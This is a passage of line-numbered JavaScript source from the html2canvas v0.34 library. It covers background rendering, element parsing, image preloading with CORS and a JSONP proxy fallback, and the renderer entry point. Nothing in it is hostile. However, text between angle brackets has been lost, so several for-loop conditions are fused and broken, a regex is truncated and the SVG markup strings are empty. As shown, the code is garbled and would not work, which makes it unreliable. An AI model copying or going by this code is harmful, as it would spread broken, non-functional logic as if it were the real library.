bgp.top-Math.ceil(bgp.top/image.height)*image.height; 1535 | 1536 | 1537 | for(bgy=(y+bgp.top);bgyh+y){ 1541 | height = (h+y)-bgy; 1542 | }else{ 1543 | height = image.height; 1544 | } 1545 | renderBackgroundRepeat(ctx,image,x+bgp.left,bgy,width,height,x,y); 1546 | 1547 | bgy = Math.floor(bgy+image.height); 1548 | 1549 | } 1550 | } 1551 | 1552 | function renderBackgroundRepeatX(ctx, image, bgp, x, y, w, h){ 1553 | 1554 | var height = Math.min(image.height,h), 1555 | width,bgx; 1556 | 1557 | 1558 | bgp.left = bgp.left-Math.ceil(bgp.left/image.width)*image.width; 1559 | 1560 | 1561 | for (bgx=(x+bgp.left);bgxw+x){ 1564 | width = (w+x)-bgx; 1565 | }else{ 1566 | width = image.width; 1567 | } 1568 | 1569 | renderBackgroundRepeat(ctx,image,bgx,(y+bgp.top),width,height,x,y); 1570 | 1571 | bgx = Math.floor(bgx+image.width); 1572 | 1573 | 1574 | } 1575 | } 1576 | 1577 | function renderBackground(el,bounds,ctx){ 1578 | 1579 | // TODO add support for multi background-images 1580 | var background_image = getCSS(el, "backgroundImage"), 1581 | background_repeat = getCSS(el, "backgroundRepeat").split(",")[0], 1582 | image, 1583 | bgp, 1584 | bgy, 1585 | bgw, 1586 | bgsx, 1587 | bgsy, 1588 | bgdx, 1589 | bgdy, 1590 | bgh, 1591 | h, 1592 | height, 1593 | add; 1594 | 1595 | // if (typeof background_image !== "undefined" && /^(1|none)$/.test(background_image) === false && /^(-webkit|-moz|linear-gradient|-o-)/.test(background_image)===false){ 1596 | 1597 | if ( !/data:image\/.*;base64,/i.test(background_image) && !/^(-webkit|-moz|linear-gradient|-o-)/.test(background_image) ) { 1598 | background_image = background_image.split(",")[0]; 1599 | } 1600 | 1601 | if ( typeof background_image !== "undefined" && /^(1|none)$/.test( background_image ) === false ) { 1602 | background_image = _html2canvas.Util.backgroundImage( background_image ); 1603 | image = loadImage( background_image ); 1604 | 1605 | 1606 | bgp = _html2canvas.Util.BackgroundPosition(el, bounds, image); 1607 | 1608 | // TODO add support for background-origin 1609 | if ( image ){ 1610 | switch ( background_repeat ) { 1611 | 1612 | case "repeat-x": 1613 | renderBackgroundRepeatX( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height ); 1614 | break; 1615 | 1616 | case "repeat-y": 1617 | renderBackgroundRepeatY( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height ); 1618 | break; 1619 | 1620 | case "no-repeat": 1621 | /* 1622 | this.drawBackgroundRepeat( 1623 | ctx, 1624 | image, 1625 | bgp.left+bounds.left, // sx 1626 | bgp.top+bounds.top, // sy 1627 | Math.min(bounds.width,image.width), 1628 | Math.min(bounds.height,image.height), 1629 | bounds.left, 1630 | bounds.top 1631 | );*/ 1632 | 1633 | 1634 | 1635 | bgw = bounds.width - bgp.left; 1636 | bgh = bounds.height - bgp.top; 1637 | bgsx = bgp.left; 1638 | bgsy = bgp.top; 1639 | bgdx = bgp.left+bounds.left; 1640 | bgdy = bgp.top+bounds.top; 1641 | 1642 | // 1643 | // bgw = Math.min(bgw,image.width); 1644 | // bgh = Math.min(bgh,image.height); 1645 | 1646 | if (bgsx<0){ 1647 | bgsx = Math.abs(bgsx); 1648 | bgdx += bgsx; 1649 | bgw = Math.min(bounds.width,image.width-bgsx); 1650 | }else{ 1651 | bgw = Math.min(bgw,image.width); 1652 | bgsx = 0; 1653 | } 1654 | 1655 | if (bgsy<0){ 1656 | bgsy = Math.abs(bgsy); 1657 | bgdy += bgsy; 1658 | // bgh = bgh-bgsy; 1659 | bgh = Math.min(bounds.height,image.height-bgsy); 1660 | }else{ 1661 | bgh = Math.min(bgh,image.height); 1662 | bgsy = 0; 1663 | } 1664 | 1665 | 1666 | if (bgh>0 && bgw > 0){ 1667 | renderImage( 1668 | ctx, 1669 | image, 1670 | bgsx, // source X : 0 1671 | bgsy, // source Y : 1695 1672 | bgw, // source Width : 18 1673 | bgh, // source Height : 1677 1674 | bgdx, // destination X :906 1675 | bgdy, // destination Y : 1020 1676 | bgw, // destination width : 18 1677 | bgh // destination height : 1677 1678 | ); 1679 | 1680 | } 1681 | break; 1682 | default: 1683 | 1684 | 1685 | 1686 | bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height; 1687 | 1688 | 1689 | for(bgy=(bounds.top+bgp.top);bgyh+bgy){ 1697 | height = (h+bgy)-bgy; 1698 | }else{ 1699 | height = image.height; 1700 | } 1701 | // console.log(height); 1702 | 1703 | if (bgy0){ 1713 | bgp.top += add; 1714 | } 1715 | bgy = Math.floor(bgy+image.height)-add; 1716 | } 1717 | break; 1718 | 1719 | 1720 | } 1721 | }else{ 1722 | h2clog("html2canvas: Error loading background:" + background_image); 1723 | //console.log(images); 1724 | } 1725 | 1726 | } 1727 | } 1728 | 1729 | 1730 | 1731 | function renderElement(el, parentStack){ 1732 | 1733 | var bounds = _html2canvas.Util.Bounds(el), 1734 | x = bounds.left, 1735 | y = bounds.top, 1736 | w = bounds.width, 1737 | h = bounds.height, 1738 | image, 1739 | bgcolor = getCSS(el, "backgroundColor"), 1740 | cssPosition = getCSS(el, "position"), 1741 | zindex, 1742 | opacity = getCSS(el, "opacity"), 1743 | stack, 1744 | stackLength, 1745 | borders, 1746 | ctx, 1747 | bgbounds, 1748 | imgSrc, 1749 | paddingLeft, 1750 | paddingTop, 1751 | paddingRight, 1752 | paddingBottom; 1753 | 1754 | if (!parentStack){ 1755 | docDim = docSize(); 1756 | parentStack = { 1757 | opacity: 1 1758 | }; 1759 | }else{ 1760 | docDim = {}; 1761 | } 1762 | 1763 | 1764 | //var zindex = this.formatZ(this.getCSS(el,"zIndex"),cssPosition,parentStack.zIndex,el.parentNode); 1765 | 1766 | zindex = setZ( getCSS( el, "zIndex"), parentStack.zIndex ); 1767 | 1768 | 1769 | 1770 | stack = { 1771 | ctx: h2cRenderContext( docDim.width || w , docDim.height || h ), 1772 | zIndex: zindex, 1773 | opacity: opacity * parentStack.opacity, 1774 | cssPosition: cssPosition 1775 | }; 1776 | 1777 | 1778 | 1779 | // TODO correct overflow for absolute content residing under a static position 1780 | 1781 | if (parentStack.clip){ 1782 | stack.clip = _html2canvas.Util.Extend( {}, parentStack.clip ); 1783 | //stack.clip = parentStack.clip; 1784 | // stack.clip.height = stack.clip.height - parentStack.borders[2].width; 1785 | } 1786 | 1787 | 1788 | if ( options.useOverflow === true && /(hidden|scroll|auto)/.test(getCSS(el, "overflow")) === true && /(BODY)/i.test(el.nodeName) === false ){ 1789 | if (stack.clip){ 1790 | stack.clip = clipBounds(stack.clip, bounds); 1791 | }else{ 1792 | stack.clip = bounds; 1793 | } 1794 | } 1795 | 1796 | 1797 | stackLength = zindex.children.push(stack); 1798 | 1799 | ctx = zindex.children[stackLength-1].ctx; 1800 | 1801 | ctx.setVariable("globalAlpha", stack.opacity); 1802 | 1803 | // draw element borders 1804 | borders = renderBorders(el, ctx, bounds, false); 1805 | stack.borders = borders; 1806 | 1807 | 1808 | // let's modify clip area for child elements, so borders dont get overwritten 1809 | 1810 | /* 1811 | if (stack.clip){ 1812 | stack.clip.width = stack.clip.width-(borders[1].width); 1813 | stack.clip.height = stack.clip.height-(borders[2].width); 1814 | } 1815 | */ 1816 | if (ignoreElementsRegExp.test(el.nodeName) && options.iframeDefault !== "transparent"){ 1817 | if (options.iframeDefault === "default"){ 1818 | bgcolor = "#efefef"; 1819 | }else{ 1820 | bgcolor = options.iframeDefault; 1821 | } 1822 | } 1823 | 1824 | // draw base element bgcolor 1825 | 1826 | bgbounds = { 1827 | left: x + borders[3].width, 1828 | top: y + borders[0].width, 1829 | width: w - (borders[1].width + borders[3].width), 1830 | height: h - (borders[0].width + borders[2].width) 1831 | }; 1832 | 1833 | //if (this.withinBounds(stack.clip,bgbounds)){ 1834 | 1835 | if (stack.clip){ 1836 | bgbounds = clipBounds(bgbounds, stack.clip); 1837 | 1838 | //} 1839 | 1840 | } 1841 | 1842 | 1843 | if (bgbounds.height > 0 && bgbounds.width > 0){ 1844 | renderRect( 1845 | ctx, 1846 | bgbounds.left, 1847 | bgbounds.top, 1848 | bgbounds.width, 1849 | bgbounds.height, 1850 | bgcolor 1851 | ); 1852 | 1853 | renderBackground(el, bgbounds, ctx); 1854 | } 1855 | 1856 | switch(el.nodeName){ 1857 | case "IMG": 1858 | imgSrc = el.getAttribute('src'); 1859 | image = loadImage(imgSrc); 1860 | if (image){ 1861 | 1862 | paddingLeft = getCSSInt(el, 'paddingLeft'); 1863 | paddingTop = getCSSInt(el, 'paddingTop'); 1864 | paddingRight = getCSSInt(el, 'paddingRight'); 1865 | paddingBottom = getCSSInt(el, 'paddingBottom'); 1866 | 1867 | 1868 | renderImage( 1869 | ctx, 1870 | image, 1871 | 0, //sx 1872 | 0, //sy 1873 | image.width, //sw 1874 | image.height, //sh 1875 | x + paddingLeft + borders[3].width, //dx 1876 | y + paddingTop + borders[0].width, // dy 1877 | bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw 1878 | bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh 1879 | ); 1880 | 1881 | }else{ 1882 | h2clog("html2canvas: Error loading :" + imgSrc); 1883 | } 1884 | break; 1885 | case "INPUT": 1886 | // TODO add all relevant type's, i.e. HTML5 new stuff 1887 | // todo add support for placeholder attribute for browsers which support it 1888 | if (/^(text|url|email|submit|button|reset)$/.test(el.type) && el.value.length > 0){ 1889 | 1890 | renderFormValue(el, bounds, stack); 1891 | 1892 | 1893 | /* 1894 | this just doesn't work well enough 1895 | 1896 | this.newText(el,{ 1897 | nodeValue:el.value, 1898 | splitText: function(){ 1899 | return this; 1900 | }, 1901 | formValue:true 1902 | },stack); 1903 | */ 1904 | } 1905 | break; 1906 | case "TEXTAREA": 1907 | if (el.value.length > 0){ 1908 | renderFormValue(el, bounds, stack); 1909 | } 1910 | break; 1911 | case "SELECT": 1912 | if (el.options.length > 0){ 1913 | renderFormValue(el, bounds, stack); 1914 | } 1915 | break; 1916 | case "LI": 1917 | renderListItem(el, stack, bgbounds); 1918 | break; 1919 | case "CANVAS": 1920 | paddingLeft = getCSSInt(el, 'paddingLeft'); 1921 | paddingTop = getCSSInt(el, 'paddingTop'); 1922 | paddingRight = getCSSInt(el, 'paddingRight'); 1923 | paddingBottom = getCSSInt(el, 'paddingBottom'); 1924 | renderImage( 1925 | ctx, 1926 | el, 1927 | 0, //sx 1928 | 0, //sy 1929 | el.width, //sw 1930 | el.height, //sh 1931 | x + paddingLeft + borders[3].width, //dx 1932 | y + paddingTop + borders[0].width, // dy 1933 | bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw 1934 | bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh 1935 | ); 1936 | break; 1937 | } 1938 | 1939 | return zindex.children[stackLength - 1]; 1940 | } 1941 | 1942 | 1943 | 1944 | function parseElement (el, stack) { 1945 | 1946 | // skip hidden elements and their children 1947 | if (getCSS(el, 'display') !== "none" && getCSS(el, 'visibility') !== "hidden") { 1948 | 1949 | stack = renderElement(el, stack) || stack; 1950 | 1951 | ctx = stack.ctx; 1952 | 1953 | if ( !ignoreElementsRegExp.test( el.nodeName ) ) { 1954 | var elementChildren = _html2canvas.Util.Children( el ), 1955 | i, 1956 | node, 1957 | childrenLen; 1958 | for (i = 0, childrenLen = elementChildren.length; i < childrenLen; i+=1) { 1959 | node = elementChildren[i]; 1960 | 1961 | if ( node.nodeType === 1 ) { 1962 | parseElement(node, stack); 1963 | }else if ( node.nodeType === 3 ) { 1964 | renderText(el, node, stack); 1965 | } 1966 | 1967 | } 1968 | 1969 | } 1970 | } 1971 | } 1972 | 1973 | stack = renderElement(element, null); 1974 | 1975 | /* 1976 | SVG powered HTML rendering, non-tainted canvas available from FF 11+ onwards 1977 | */ 1978 | 1979 | if ( support.svgRendering ) { 1980 | (function( body ){ 1981 | var img = new Image(), 1982 | size = docSize(), 1983 | html = ""; 1984 | 1985 | function parseDOM( el ) { 1986 | var children = _html2canvas.Util.Children( el ), 1987 | len = children.length, 1988 | attr, 1989 | a, 1990 | alen, 1991 | elm, 1992 | i; 1993 | for ( i = 0; i < len; i+=1 ) { 1994 | elm = children[ i ]; 1995 | if ( elm.nodeType === 3 ) { 1996 | // Text node 1997 | 1998 | html += elm.nodeValue.replace(/\/g,">"); 1999 | } else if ( elm.nodeType === 1 ) { 2000 | // Element 2001 | if ( !/^(script|meta|title)$/.test(elm.nodeName.toLowerCase()) ) { 2002 | 2003 | html += "<" + elm.nodeName.toLowerCase(); 2004 | 2005 | // add attributes 2006 | if ( elm.hasAttributes() ) { 2007 | attr = elm.attributes; 2008 | alen = attr.length; 2009 | for ( a = 0; a < alen; a+=1 ) { 2010 | html += " " + attr[ a ].name + '="' + attr[ a ].value + '"'; 2011 | } 2012 | } 2013 | 2014 | 2015 | html += '>'; 2016 | 2017 | parseDOM( elm ); 2018 | 2019 | 2020 | html += ""; 2021 | } 2022 | } 2023 | 2024 | } 2025 | 2026 | } 2027 | 2028 | parseDOM( body ); 2029 | img.src = [ 2030 | "data:image/svg+xml,", 2031 | "", 2032 | "", 2033 | "", 2034 | html.replace(/\#/g,"%23"), 2035 | "", 2036 | "", 2037 | "" 2038 | ].join(""); 2039 | 2040 | 2041 | 2042 | 2043 | img.onload = function() { 2044 | stack.svgRender = img; 2045 | }; 2046 | 2047 | })( document.documentElement ); 2048 | 2049 | } 2050 | 2051 | 2052 | // parse every child element 2053 | for (i = 0, children = element.children, childrenLen = children.length; i < childrenLen; i+=1){ 2054 | parseElement(children[i], stack); 2055 | } 2056 | 2057 | 2058 | stack.backgroundColor = getCSS( document.documentElement, "backgroundColor" ); 2059 | 2060 | return stack; 2061 | 2062 | }; 2063 | 2064 | function h2czContext(zindex) { 2065 | return { 2066 | zindex: zindex, 2067 | children: [] 2068 | }; 2069 | } 2070 | 2071 | /* 2072 | html2canvas v0.34 2073 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 2074 | http://www.twitter.com/niklasvh 2075 | 2076 | Released under MIT License 2077 | */ 2078 | 2079 | _html2canvas.Preload = function( options ) { 2080 | 2081 | var images = { 2082 | numLoaded: 0, // also failed are counted here 2083 | numFailed: 0, 2084 | numTotal: 0, 2085 | cleanupDone: false 2086 | }, 2087 | pageOrigin, 2088 | methods, 2089 | i, 2090 | count = 0, 2091 | element = options.elements[0] || document.body, 2092 | doc = element.ownerDocument, 2093 | domImages = doc.images, // TODO probably should limit it to images present in the element only 2094 | imgLen = domImages.length, 2095 | link = doc.createElement("a"), 2096 | supportCORS = (function( img ){ 2097 | return (img.crossOrigin !== undefined); 2098 | })(new Image()), 2099 | timeoutTimer; 2100 | 2101 | link.href = window.location.href; 2102 | pageOrigin = link.protocol + link.host; 2103 | 2104 | 2105 | 2106 | 2107 | 2108 | 2109 | function isSameOrigin(url){ 2110 | link.href = url; 2111 | link.href = link.href; // YES, BELIEVE IT OR NOT, that is required for IE9 - http://jsfiddle.net/niklasvh/2e48b/ 2112 | var origin = link.protocol + link.host; 2113 | return (origin === pageOrigin); 2114 | } 2115 | 2116 | function start(){ 2117 | h2clog("html2canvas: start: images: " + images.numLoaded + " / " + images.numTotal + " (failed: " + images.numFailed + ")"); 2118 | if (!images.firstRun && images.numLoaded >= images.numTotal){ 2119 | h2clog("Finished loading images: # " + images.numTotal + " (failed: " + images.numFailed + ")"); 2120 | 2121 | if (typeof options.complete === "function"){ 2122 | options.complete(images); 2123 | } 2124 | 2125 | } 2126 | } 2127 | 2128 | // TODO modify proxy to serve images with CORS enabled, where available 2129 | function proxyGetImage(url, img, imageObj){ 2130 | var callback_name, 2131 | scriptUrl = options.proxy, 2132 | script; 2133 | 2134 | link.href = url; 2135 | url = link.href; // work around for pages with base href="" set - WARNING: this may change the url 2136 | 2137 | callback_name = 'html2canvas_' + (count++); 2138 | imageObj.callbackname = callback_name; 2139 | 2140 | if (scriptUrl.indexOf("?") > -1) { 2141 | scriptUrl += "&"; 2142 | } else { 2143 | scriptUrl += "?"; 2144 | } 2145 | scriptUrl += 'url=' + encodeURIComponent(url) + '&callback=' + callback_name; 2146 | script = doc.createElement("script"); 2147 | 2148 | window[callback_name] = function(a){ 2149 | if (a.substring(0,6) === "error:"){ 2150 | imageObj.succeeded = false; 2151 | images.numLoaded++; 2152 | images.numFailed++; 2153 | start(); 2154 | } else { 2155 | setImageLoadHandlers(img, imageObj); 2156 | img.src = a; 2157 | } 2158 | window[callback_name] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9) 2159 | try { 2160 | delete window[callback_name]; // for all browser that support this 2161 | } catch(ex) {} 2162 | script.parentNode.removeChild(script); 2163 | script = null; 2164 | delete imageObj.script; 2165 | delete imageObj.callbackname; 2166 | }; 2167 | 2168 | script.setAttribute("type", "text/javascript"); 2169 | script.setAttribute("src", scriptUrl); 2170 | imageObj.script = script; 2171 | window.document.body.appendChild(script); 2172 | 2173 | } 2174 | 2175 | function getImages (el) { 2176 | 2177 | 2178 | 2179 | // if (!this.ignoreRe.test(el.nodeName)){ 2180 | // 2181 | 2182 | var contents = _html2canvas.Util.Children(el), 2183 | i, 2184 | background_image, 2185 | src, 2186 | img, 2187 | elNodeType = false; 2188 | 2189 | // Firefox fails with permission denied on pages with iframes 2190 | try { 2191 | var contentsLen = contents.length; 2192 | for (i = 0; i < contentsLen; i+=1 ){ 2193 | // var ignRe = new RegExp("("+this.ignoreElements+")"); 2194 | // if (!ignRe.test(element.nodeName)){ 2195 | getImages(contents[i]); 2196 | // } 2197 | } 2198 | } 2199 | catch( e ) {} 2200 | 2201 | 2202 | // } 2203 | try { 2204 | elNodeType = el.nodeType; 2205 | } catch (ex) { 2206 | elNodeType = false; 2207 | h2clog("html2canvas: failed to access some element's nodeType - Exception: " + ex.message); 2208 | } 2209 | 2210 | if (elNodeType === 1 || elNodeType === undefined){ 2211 | 2212 | // opera throws exception on external-content.html 2213 | try { 2214 | background_image = _html2canvas.Util.getCSS(el, 'backgroundImage'); 2215 | }catch(e) { 2216 | h2clog("html2canvas: failed to get background-image - Exception: " + e.message); 2217 | } 2218 | if ( background_image && background_image !== "1" && background_image !== "none" ) { 2219 | 2220 | // TODO add multi image background support 2221 | 2222 | if (/^(-webkit|-o|-moz|-ms|linear)-/.test( background_image )) { 2223 | 2224 | img = _html2canvas.Generate.Gradient( background_image, _html2canvas.Util.Bounds( el ) ); 2225 | 2226 | if ( img !== undefined ){ 2227 | images[background_image] = { 2228 | img: img, 2229 | succeeded: true 2230 | }; 2231 | images.numTotal++; 2232 | images.numLoaded++; 2233 | start(); 2234 | 2235 | } 2236 | 2237 | } else { 2238 | src = _html2canvas.Util.backgroundImage(background_image.match(/data:image\/.*;base64,/i) ? background_image : background_image.split(",")[0]); 2239 | methods.loadImage(src); 2240 | } 2241 | 2242 | /* 2243 | if (background_image && background_image !== "1" && background_image !== "none" && background_image.substring(0,7) !== "-webkit" && background_image.substring(0,3)!== "-o-" && background_image.substring(0,4) !== "-moz"){ 2244 | // TODO add multi image background support 2245 | src = _html2canvas.Util.backgroundImage(background_image.split(",")[0]); 2246 | methods.loadImage(src); */ 2247 | } 2248 | } 2249 | } 2250 | 2251 | function setImageLoadHandlers(img, imageObj) { 2252 | img.onload = function() { 2253 | if ( imageObj.timer !== undefined ) { 2254 | // CORS succeeded 2255 | window.clearTimeout( imageObj.timer ); 2256 | } 2257 | 2258 | images.numLoaded++; 2259 | imageObj.succeeded = true; 2260 | img.onerror = img.onload = null; 2261 | start(); 2262 | }; 2263 | img.onerror = function() { 2264 | 2265 | if (img.crossOrigin === "anonymous") { 2266 | // CORS failed 2267 | window.clearTimeout( imageObj.timer ); 2268 | 2269 | // let's try with proxy instead 2270 | if ( options.proxy ) { 2271 | var src = img.src; 2272 | img = new Image(); 2273 | imageObj.img = img; 2274 | img.src = src; 2275 | 2276 | proxyGetImage( img.src, img, imageObj ); 2277 | return; 2278 | } 2279 | } 2280 | 2281 | 2282 | images.numLoaded++; 2283 | images.numFailed++; 2284 | imageObj.succeeded = false; 2285 | img.onerror = img.onload = null; 2286 | start(); 2287 | 2288 | }; 2289 | 2290 | // TODO Opera has no load/error event for SVG images 2291 | 2292 | // Opera ninja onload's cached images 2293 | /* 2294 | window.setTimeout(function(){ 2295 | if ( img.width !== 0 && imageObj.succeeded === undefined ) { 2296 | img.onload(); 2297 | } 2298 | }, 100); // needs a reflow for base64 encoded images? interestingly timeout of 0 doesn't work but 1 does. 2299 | */ 2300 | } 2301 | 2302 | 2303 | methods = { 2304 | loadImage: function( src ) { 2305 | var img, imageObj; 2306 | if ( src && images[src] === undefined ) { 2307 | img = new Image(); 2308 | if ( src.match(/data:image\/.*;base64,/i) ) { 2309 | img.src = src.replace(/url\(['"]{0,}|['"]{0,}\)$/ig, ''); 2310 | imageObj = images[src] = { 2311 | img: img 2312 | }; 2313 | images.numTotal++; 2314 | setImageLoadHandlers(img, imageObj); 2315 | } else if ( isSameOrigin( src ) || options.allowTaint === true ) { 2316 | imageObj = images[src] = { 2317 | img: img 2318 | }; 2319 | images.numTotal++; 2320 | setImageLoadHandlers(img, imageObj); 2321 | img.src = src; 2322 | } else if ( supportCORS && !options.allowTaint && options.useCORS ) { 2323 | // attempt to load with CORS 2324 | 2325 | img.crossOrigin = "anonymous"; 2326 | imageObj = images[src] = { 2327 | img: img 2328 | }; 2329 | images.numTotal++; 2330 | setImageLoadHandlers(img, imageObj); 2331 | img.src = src; 2332 | 2333 | // work around for https://bugs.webkit.org/show_bug.cgi?id=80028 2334 | img.customComplete = function () { 2335 | if (!this.img.complete) { 2336 | this.timer = window.setTimeout(this.img.customComplete, 100); 2337 | } else { 2338 | this.img.onerror(); 2339 | } 2340 | }.bind(imageObj); 2341 | img.customComplete(); 2342 | 2343 | } else if ( options.proxy ) { 2344 | imageObj = images[src] = { 2345 | img: img 2346 | }; 2347 | images.numTotal++; 2348 | proxyGetImage( src, img, imageObj ); 2349 | } 2350 | } 2351 | 2352 | }, 2353 | cleanupDOM: function(cause) { 2354 | var img, src; 2355 | if (!images.cleanupDone) { 2356 | if (cause && typeof cause === "string") { 2357 | h2clog("html2canvas: Cleanup because: " + cause); 2358 | } else { 2359 | h2clog("html2canvas: Cleanup after timeout: " + options.timeout + " ms."); 2360 | } 2361 | 2362 | for (src in images) { 2363 | if (images.hasOwnProperty(src)) { 2364 | img = images[src]; 2365 | if (typeof img === "object" && img.callbackname && img.succeeded === undefined) { 2366 | // cancel proxy image request 2367 | window[img.callbackname] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9) 2368 | try { 2369 | delete window[img.callbackname]; // for all browser that support this 2370 | } catch(ex) {} 2371 | if (img.script && img.script.parentNode) { 2372 | img.script.setAttribute("src", "about:blank"); // try to cancel running request 2373 | img.script.parentNode.removeChild(img.script); 2374 | } 2375 | images.numLoaded++; 2376 | images.numFailed++; 2377 | h2clog("html2canvas: Cleaned up failed img: '" + src + "' Steps: " + images.numLoaded + " / " + images.numTotal); 2378 | } 2379 | } 2380 | } 2381 | 2382 | // cancel any pending requests 2383 | if(window.stop !== undefined) { 2384 | window.stop(); 2385 | } else if(document.execCommand !== undefined) { 2386 | document.execCommand("Stop", false); 2387 | } 2388 | if (document.close !== undefined) { 2389 | document.close(); 2390 | } 2391 | images.cleanupDone = true; 2392 | if (!(cause && typeof cause === "string")) { 2393 | start(); 2394 | } 2395 | } 2396 | }, 2397 | renderingDone: function() { 2398 | if (timeoutTimer) { 2399 | window.clearTimeout(timeoutTimer); 2400 | } 2401 | } 2402 | 2403 | }; 2404 | 2405 | if (options.timeout > 0) { 2406 | timeoutTimer = window.setTimeout(methods.cleanupDOM, options.timeout); 2407 | } 2408 | h2clog('html2canvas: Preload starts: finding background-images'); 2409 | images.firstRun = true; 2410 | 2411 | getImages( element ); 2412 | 2413 | h2clog('html2canvas: Preload: Finding images'); 2414 | // load images 2415 | for (i = 0; i < imgLen; i+=1){ 2416 | methods.loadImage( domImages[i].getAttribute( "src" ) ); 2417 | } 2418 | 2419 | images.firstRun = false; 2420 | h2clog('html2canvas: Preload: Done.'); 2421 | if ( images.numTotal === images.numLoaded ) { 2422 | start(); 2423 | } 2424 | 2425 | return methods; 2426 | 2427 | }; 2428 | 2429 | 2430 | 2431 | 2432 | /* 2433 | html2canvas v0.34 2434 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 2435 | http://www.twitter.com/niklasvh 2436 | 2437 | Released under MIT License 2438 | */ 2439 | function h2cRenderContext(width, height) { 2440 | var storage = []; 2441 | return { 2442 | storage: storage, 2443 | width: width, 2444 | height: height, 2445 | fillRect: function () { 2446 | storage.push({ 2447 | type: "function", 2448 | name: "fillRect", 2449 | 'arguments': arguments 2450 | }); 2451 | }, 2452 | drawImage: function () { 2453 | storage.push({ 2454 | type: "function", 2455 | name: "drawImage", 2456 | 'arguments': arguments 2457 | }); 2458 | }, 2459 | fillText: function () { 2460 | storage.push({ 2461 | type: "function", 2462 | name: "fillText", 2463 | 'arguments': arguments 2464 | }); 2465 | }, 2466 | setVariable: function (variable, value) { 2467 | storage.push({ 2468 | type: "variable", 2469 | name: variable, 2470 | 'arguments': value 2471 | }); 2472 | } 2473 | }; 2474 | } 2475 | 2476 | /* 2477 | html2canvas v0.34 2478 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 2479 | http://www.twitter.com/niklasvh 2480 | 2481 | Released under MIT License 2482 | */ 2483 | _html2canvas.Renderer = function(parseQueue, options){ 2484 | 2485 | 2486 | var queue = []; 2487 | 2488 | function sortZ(zStack){ 2489 | var subStacks = [], 2490 | stackValues = [], 2491 | zStackChildren = zStack.children, 2492 | s, 2493 | i, 2494 | stackLen, 2495 | zValue, 2496 | zLen, 2497 | stackChild, 2498 | b, 2499 | subStackLen; 2500 | 2501 | 2502 | for (s = 0, zLen = zStackChildren.length; s < zLen; s+=1){ 2503 | 2504 | stackChild = zStackChildren[s]; 2505 | 2506 | if (stackChild.children && stackChild.children.length > 0){ 2507 | subStacks.push(stackChild); 2508 | stackValues.push(stackChild.zindex); 2509 | }else{ 2510 | queue.push(stackChild); 2511 | } 2512 | 2513 | } 2514 | 2515 | stackValues.sort(function(a, b) { 2516 | return a - b; 2517 | }); 2518 | 2519 | for (i = 0, stackLen = stackValues.length; i < stackLen; i+=1){ 2520 | zValue = stackValues[i]; 2521 | for (b = 0, subStackLen = subStacks.length; b <= subStackLen; b+=1){ 2522 | 2523 | if (subStacks[b].zindex === zValue){ 2524 | stackChild = subStacks.splice(b, 1); 2525 | sortZ(stackChild[0]); 2526 | break; 2527 | 2528 | } 2529 | } 2530 | } 2531 | 2532 | } 2533 | 2534 | 2535 | sortZ(parseQueue.zIndex); 2536 | if ( typeof options._renderer._create !== "function" ) { 2537 | throw new Error("Invalid renderer defined"); 2538 | } 2539 | return options._renderer._create( parseQueue, options, document, queue, _html2canvas ); 2540 | 2541 | }; 2542 | 2543 | /* 2544 | html2canvas v0.34 2545 | Copyright (c) 2011 Niklas von Hertzen. All rights reserved. 2546 | http://www.twitter.com/niklasvh 2547 | 2548 | Released under MIT License 2549 | */ 2550 | 2551 | 2552 | html2canvas = function( elements, opts ) { 2553 | 2554 | var queue, 2555 | canvas, 2556 | options = { 2557 | // general 2558 | logging: false, 2559 | elements: elements, 2560 | 2561 | // preload options 2562 | proxy: "http://html2canvas.appspot.com/", 2563 | timeout: 0, // no timeout 2564 | useCORS: false, // try to load images as CORS (where available), before falling back to proxy 2565 | allowTaint: false, // whether to allow images to taint the canvas, won't need proxy if set to true 2566 | 2567 | // parse options 2568 | svgRendering: false, // use svg powered rendering where available (FF11+) 2569 | iframeDefault: "default", 2570 | ignoreElements: "IFRAME|OBJECT|PARAM", 2571 | useOverflow: true, 2572 | letterRendering: false, 2573 | 2574 | // render options 2575 | 2576 | flashcanvas: undefined, // path to flashcanvas 2577 | width: null, 2578 | height: null, 2579 | taintTest: true, // do a taint test with all images before applying to canvas 2580 | renderer: "Canvas" 2581 | }, renderer; 2582 | 2583 | options = _html2canvas.Util.Extend(opts, options); 2584 | 2585 | if (typeof options.renderer === "string" && _html2canvas.Renderer[options.renderer] !== undefined) { 2586 | options._renderer = _html2canvas.Renderer[options.renderer]( options ); 2587 | } else if (typeof options.renderer === "function") { 2588 | options._renderer = options.renderer( options ); 2589 | } else { 2590 | throw("Unknown renderer"); 2591 | } 2592 | 2593 | _html2canvas.logging = options.logging; 2594 | options.complete = function( images ) { 2595 | 2596 | if (typeof options.onpreloaded === "function") { 2597 | if ( options.onpreloaded( images ) === false ) { 2598 | return; 2599 | } 2600 | } 2601 | queue = _html2canvas.Parse( images, options ); 2602 | 2603 | if (typeof options.onparsed === "function") { 2604 | if ( options.onparsed( queue ) === false ) { 2605 | return; 2606 | } 2607 | } 2608 | 2609 | canvas = _html2canvas.Renderer( queue, options ); 2610 | 2611 | if (typeof options.onrendered === "function") { 2612 | options.onrendered( canvas ); 2613 | } 2614 | 2615 | 2616 | }; 2617 | 2618 | // for pages without images, we still want this to be async, i.e. return methods before executing 2619 | window.setTimeout( function(){ 2620 | _html2canvas.Preload( options ); 2621 | }, 0 ); 2622 | 2623 | return { 2624 | render: function( queue, opts ) { 2625 | return _html2canvas.Renderer( queue, _html2canvas.Util.Extend(opts, options) ); 2626 | }, 2627 | parse: function( images, opts ) { 2628 | return _html2canvas.Parse( images, _html2canvas.Util.Extend(opts, options) ); 2629 | }, 2630 | preload: function( opts ) { 2631 | return _html2canvas.Preload( _html2canvas.Util.Extend(opts, options) ); 2632 | }, 2633 | log: h2clog 2634 | }; 2635 | }; 2636 | 2637 | 